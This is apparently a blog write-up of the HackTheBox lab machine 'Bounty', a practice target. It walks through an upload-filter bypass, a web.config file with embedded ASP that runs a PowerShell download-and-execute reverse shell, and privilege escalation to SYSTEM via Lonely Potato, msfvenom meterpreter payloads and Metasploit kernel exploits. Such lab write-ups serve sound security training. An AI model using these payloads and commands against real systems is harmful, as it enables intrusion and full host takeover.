Bounty was one of the easier boxes I’ve done on HTB, but it still showcased a neat trick for initial access that involved embedding ASP code in a web.config file that wasn’t subject to file extension filtering. Initial shell provides access as an unprivileged user on a relatively unpatched host, vulnerable to several kernel exploits, as well as a token privilege attack. I’ll show a handful of ways to enumerate and to escalate privilege, including a really neat new tool, Watson. When I first wrote this post, Watson wouldn’t run on Bounty, but thanks to some quick work from Rasta Mouse and Mark S, I was able to update the post to include it.


nmap only shows port 80, running IIS 7.5:

root@kali:~/hackthebox/bounty- nmap -p- --min-rate 5000 -oA nmap/alltcp
Starting Nmap 7.70 ( ) at 2018-06-18 09:33 EDT
Nmap scan report for
Host is up (0.10s latency).
Not shown: 65534 filtered ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 26.76 seconds

root@kali:~/hackthebox/bounty- nmap -p 80 -sC -sV -oA nmap/initial
Starting Nmap 7.70 ( ) at 2018-06-18 09:34 EDT
Nmap scan report for
Host is up (0.099s latency).

80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.92 seconds

Port 80 - Web


The site itself just gives an image of a wizard, merlin.jpg:


Server Identification

The response headers indicate that the site is powered by ASP.NET:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 31 May 2018 03:46:26 GMT
Accept-Ranges: bytes
ETag: "20ba8ef391f8d31:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 18 Jun 2018 13:39:22 GMT
Connection: close
Content-Length: 630


gobuster reveals two interesting paths:

root@kali:~/hackthebox/bounty- gobuster -u -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_root -x aspx

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 30
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Output file  : gobuster_root
[+] Status codes : 301,302,307,200,204
[+] Extensions   : .aspx
/transfer.aspx (Status: 200)
/uploadedFiles (Status: 301)
/uploadedfiles (Status: 301)

transfer.aspx / UploadedFiles

General Functionality

/transfer.aspx presents a simple form with “Browse…” and “Upload” buttons:


After giving it a simple png file (in my example, a screen capture of the merlin image), the site reports success, and the image can be seen at[image name]:




Bypassing Upload Extension Filter

I’ll grab a copy of the aspx shell that comes with kali, and try to upload it. On first attempt to upload, the page rejects it:


I can bypass the filter by adding a null byte after our aspx so that the app thinks it’s a jpg, but then saves it as an aspx:


Getting Execution

Still, when I then view, it returns an error:


This is an improvement, as I know we’ve passed the upload check. But we can’t get execution still.

web.config RCE

At this point, it’s hard to say what is causing the aspx webshell not to execute, but the error does provide a suggestion to modify the web.config file. The web.config file has settings and configuration data for web applications on IIS servers. It is similar to a .htaccess on an Apache server. It would be really interesting if I could modify it via upload.

But even more interestingly, according to this post, I can potentially include asp code in the web.config and get it to run.

I started with a template from the post above, and uploaded it to the site. On visiting, it returns 3, which means the code executed:


Shell as merlin


It’s certainly possible to get a webshell, but I’ll notice that the UploadedFiles path is being cleared out every few minutes. So I’ll opt to go directly to reverse shell. First, grab a copy of Nishang’s Invoke-PowerShellTcp.ps1. Then add a line at the end to invoke a callback to me:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 443

Now, since my asp skills are quite low, I started with the asp webshell that comes on kali (/usr/share/webshells/asp/cmdasp.asp), and started reading it to determine how code is actually executed. This part seemed most interesting:

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request.Form(".CMD")
  If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

  End If

So basically I need a WSCRIPT.SHELL COM object, and use it’s Run function to run a command. Ok, so because I only want to run one specific line to download and execute my Nishang shell, this should be simple. Here’s a web.config file that will start that process:

<?xml version="1.0" encoding="UTF-8"?>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
               <remove fileExtension=".config" />
               <remove segment="web.config" />
<%@ Language=VBScript %>
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('')")


Now, I take two steps:

  • Upload the web.config using the web form
  • Visit, which runs the asp code, which invokes PowerShell to download the Nishang shell, and then run it creating a connection back to me:

shell gif


Now with shell, I can grab user.txt. Strangely, it’s not present when I look for it:

PS C:\users\merlin\desktop> ls
PS C:\users\merlin\desktop>

It turns out that the file is there, it’s just hidden. If I re-run Get-ChildItem (or gci or ls) with the -Force flag, it shows up:

PS C:\users\merlin\desktop> gci -force

    Directory: C:\users\merlin\desktop

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a-hs         5/30/2018  12:22 AM        282 desktop.ini
-a-h-         5/30/2018  11:32 PM         32 user.txt

PS C:\users\merlin\desktop> cat user.txt

Privesc: merlin –> SYSTEM


I’ve got a bunch of different methods here, but if you’re only going to read on, jump ahead to Watson, as it’s brand new, and my favorite.

System Info

The fact is, this box is vulnerable to lots of privesc. A quick run of system info gives a pretty big hint that kernel exploits will be a potential path here:

PS C:\windows\\framework\v2.0.50727> systeminfo

Host Name:                 BOUNTY
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                55041-402-3606965-84760
Original Install Date:     5/30/2018, 12:22:24 AM
System Boot Time:          10/22/2018, 3:56:47 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2300 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 4/5/2016
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,573 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,614 MB
Virtual Memory: In Use:    481 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A                               <-- Uh oh!!!
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)

With no hotfixes, there’s a ton of exploits to look at.

Whoami /priv

Whenever I get access via a web service on a Windows host, I always check whoami /priv. If SeImpersonatePrivilege is present, I can likely get SYSTEM with Lonely Potato. That appears to be the case here:

PS C:\users\merlin\desktop> whoami /priv


Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled


Another tool to try is Sherlock. Unfortunately, it’s no longer being maintained, in favor of Watson (see more on that later). Still, it’s a quick PowerShell Script that will identify some kernel exploits.

Upload it, and then run Find-AllVulns. It looks like MS10-092 is a good candidate:

PS C:\users\merlin\appdata\local\temp> iex(new-object net.webclient).downloadstring('')
PS C:\users\merlin\appdata\local\temp> Find-AllVulns

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       :
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       :
VulnStatus : Appears Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       :
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       :
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       :
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       :
VulnStatus : Appears Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       :
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       :
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       :
VulnStatus : Not Supported on single-core systems

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       :
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       :
VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       :
VulnStatus : Not Vulnerable


Seeing the deprecation of Sherlock in favor of Watson, I decided to check it out. Rather than PowerShell, it’s a C# implementation. This means a little more work before deployment.

To build it, I’ll use a Windows VM I have set up Visual Studio on. On that VM, I’ll download the git repo as a zip from the website, and open the Watson.sln file. When you download code from github, it’s always a good idea to make sure the project builds before you change anything, so that if something breaks, you know it was you.

So, I’ll go to “Build” –> “Build Solution”, and see the output like this:


And, if I go to that folder and run it, it works:


I can take that binary over to Bounty and run it, but nothing will return. Why? Rasta Mouse explained that in this post:

The TL;DR is that you have to build the exe to match the version of .NET installed on target.

From Bounty:

PS C:\windows\\framework\v2.0.50727> \windows\\framework\v2.0.50727\msbuild -version
Microsoft (R) Build Engine Version 2.0.50727.4927
[Microsoft .NET Framework, Version 2.0.50727.4927]
Copyright (C) Microsoft Corporation 2005. All rights reserved.


So back in Visual Studio, “Project” –> “Watson Properties…” will launch a window where I can set the “Target Framework”:


When I had originally written this post, this is where things failed. Watson wouldn’t compile for .NET Framework 2.0:


But, thanks to super quick work from Rasta Mouse and Mark-S, they updated it this morning, and it works now.

So build again with .NET Framework 2.0, copy it over to Bounty, and run it:

PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('', '\users\merlin\appdata\local\temp\watson.exe')
PS C:\users\merlin\appdata\local\temp> .\watson.exe
  __    __      _
 / / /\ \ \__ _| |_ ___  ___  _ __
 \ \/  \/ / _` | __/ __|/ _ \| '_ \
  \  /\  / (_| | |_\__ \ (_) | | | |
   \/  \/ \__,_|\__|___/\___/|_| |_|


                  Sherlock sucks...

 [*] OS Build number: 7600
 [*] CPU Address Width: 64
 [*] Process IntPtr Size: 8
 [*] Using Windows path: C:\WINDOWS\System32

  [*] Appears vulnerable to MS10-073
   [>] Description: Kernel-mode drivers load unspecified keyboard layers improperly, which result in arbitrary code execution in the kernel.
   [>] Exploit:
   [>] Notes: None.

  [*] Appears vulnerable to MS10-092
   [>] Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
   [>] Exploit:
   [>] Notes: None.

  [*] Appears vulnerable to MS11-046
   [>] Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges.
   [>] Exploit:
   [>] Notes: None.

  [*] Appears vulnerable to MS12-042
   [>] Description: An EoP exists due to the way the Windows User Mode Scheduler handles system requests, which can be exploited to execute arbitrary code in kernel mode.
   [>] Exploit:
   [>] Notes: None.

  [*] Appears vulnerable to MS13-005
   [>] Description: Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation.
   [>] Exploit:
   [>] Notes: None.

 [*] Finished. Found 5 vulns :)
ERROR> The given key was not present in the dictionary.
ERROR> C:\WINDOWS\System32\drivers\mrxdav.sys
ERROR> C:\WINDOWS\System32\win32kfull.sys
ERROR> C:\WINDOWS\System32\gdiplus.dll
ERROR> C:\WINDOWS\System32\pcadm.dll
ERROR> C:\WINDOWS\System32\coremessaging.dll

The errors are not failure, it’s just that those files aren’t on this version of Windows. Watson provides a comprehensive list of vulnerabilities. Given my desire to avoid Metasploit, I suspect I’ll be using for this tool going forward.


Metasploit has a very nice, built in, exploit suggester. I’ll need a meterpreter shell. First, generate some PowerShell as a loader:

root@kali:~/hackthebox/bounty- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=445 -f psh -o www/met-445.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of psh file: 3216 bytes
Saved as: www/met-445.ps1

The -f psh will output a PowerShell command that will initiate a reverse tcp meterpreter shell.

Start exploit/multi/handler:

msf exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST       yes       The listen address (an interface may be specified)
   LPORT     445              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on

Now get and run PowerShell launcher from my Nishang shell:

PS C:\> iex(new-object net.webclient).downloadstring('')

And get meterpreter:

[*] Sending stage (206403 bytes) to
[*] Meterpreter session 1 opened ( -> at 2018-10-26 15:51:15 -0400

meterpreter > getuid
Server username: BOUNTY\merlin

Now, I’ll background that and use use post/multi/recon/local_exploit_suggester, and see it gives a few options (though not as many as Watson):

msf post(multi/recon/local_exploit_suggester) > run

[*] - Collecting local exploits for x64/windows...
[*] - 18 exploit checks are being tried...
[+] - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[*] Post module execution completed

Escalation Method 1: Lonely Potato

I’ll grab a copy of the the compiled lonelypotato binary and upload it to target, along with a bat script that will start another Nishang shell:

PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('', 'C:\users\merlin\appdata\local\temp\lp.exe')
PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('', 'C:\users\merlin\appdata\local\temp\rev.bat')

PS C:\users\merlin\appdata\local\temp> type rev.bat
powershell.exe -c iex(new-object net.webclient).downloadstring('')

Now run it, and get a shell:

PS C:\users\merlin\appdata\local\temp> C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat
CreateIlok: 0 0
CreateDoc: 0 0
connect sock
start RPC  connection
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 136
COM -> bytes sent: 136
COM -> bytes received: 135
RPC -> bytes Sent: 135
RPC -> bytes received: 216
COM -> bytes sent: 216
COM -> bytes received: 158
RPC -> bytes Sent: 158
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1  0
[+] Duped Token type:1
[+] Running C:\users\merlin\appdata\local\temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
root@kali:~/hackthebox/bounty- nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49190
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system

Escalation Method 2: Kernel Exploits - Metasploit

Unfortunately, I didn’t have a good implementation of one of these kernel exploits that fits my current situation outside of Metasploit. There are lots of pre-compiled exes on github, but they typically open a new cmd window, which isn’t helpful here. And, since I got a Meterpreter shell already for enumeration, I’ll make good use of it:

msf exploit(windows/local/ms10_092_schelevator) > options

Module options (exploit/windows/local/ms10_092_schelevator):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD                        no        Command to execute instead of a payload
   SESSION   1                yes       The session to run this module on.
   TASKNAME                   no        A name for the created task (default random)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST       yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Vista, 7, and 2008

msf exploit(windows/local/ms10_092_schelevator) > run

[*] Started reverse TCP handler on
[*] Preparing payload at C:\Windows\TEMP\qqTMYhyeIn.exe
[*] Creating task: FnB0882rp0ZAqjr
[*] SUCCESS: The scheduled task "FnB0882rp0ZAqjr" has successfully been created.
[*] Reading the task file contents from C:\Windows\system32\tasks\FnB0882rp0ZAqjr...
[*] Original CRC32: 0xd3070e6a
[*] Final CRC32: 0xd3070e6a
[*] Writing our modified content back...
[*] Validating task: FnB0882rp0ZAqjr
[*] Folder: \
[*] TaskName                                 Next Run Time          Status
[*] ======================================== ====================== ===============
[*] FnB0882rp0ZAqjr                          11/1/2018 10:55:00 PM  Ready
[*] Disabling the task...
[*] SUCCESS: The parameters of scheduled task "FnB0882rp0ZAqjr" have been changed.
[*] Enabling the task...
[*] SUCCESS: The parameters of scheduled task "FnB0882rp0ZAqjr" have been changed.
[*] Executing the task...
[*] Sending stage (206403 bytes) to
[*] SUCCESS: Attempted to run the scheduled task "FnB0882rp0ZAqjr".
[*] Deleting the task...
[*] Meterpreter session 2 opened ( -> at 2018-10-26 15:57:56 -0400
[*] SUCCESS: The scheduled task "FnB0882rp0ZAqjr" was successfully deleted.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

While I’m here, I gave MS16-014 a run, and it worked as well:

msf exploit(windows/local/ms16_014_wmi_recv_notif) > run

[*] Started reverse TCP handler on
[*] Launching notepad to host the exploit...
[+] Process 312 launched.
[*] Reflectively injecting the exploit DLL into 312...
[*] Injecting exploit into 312...
[*] Exploit injected. Injecting payload into 312...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to
[*] Meterpreter session 3 opened ( -> at 2018-10-26 15:59:54 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


Wtih any of these shells, I can grab root.txt:

PS C:\users\administrator\desktop> type root.txt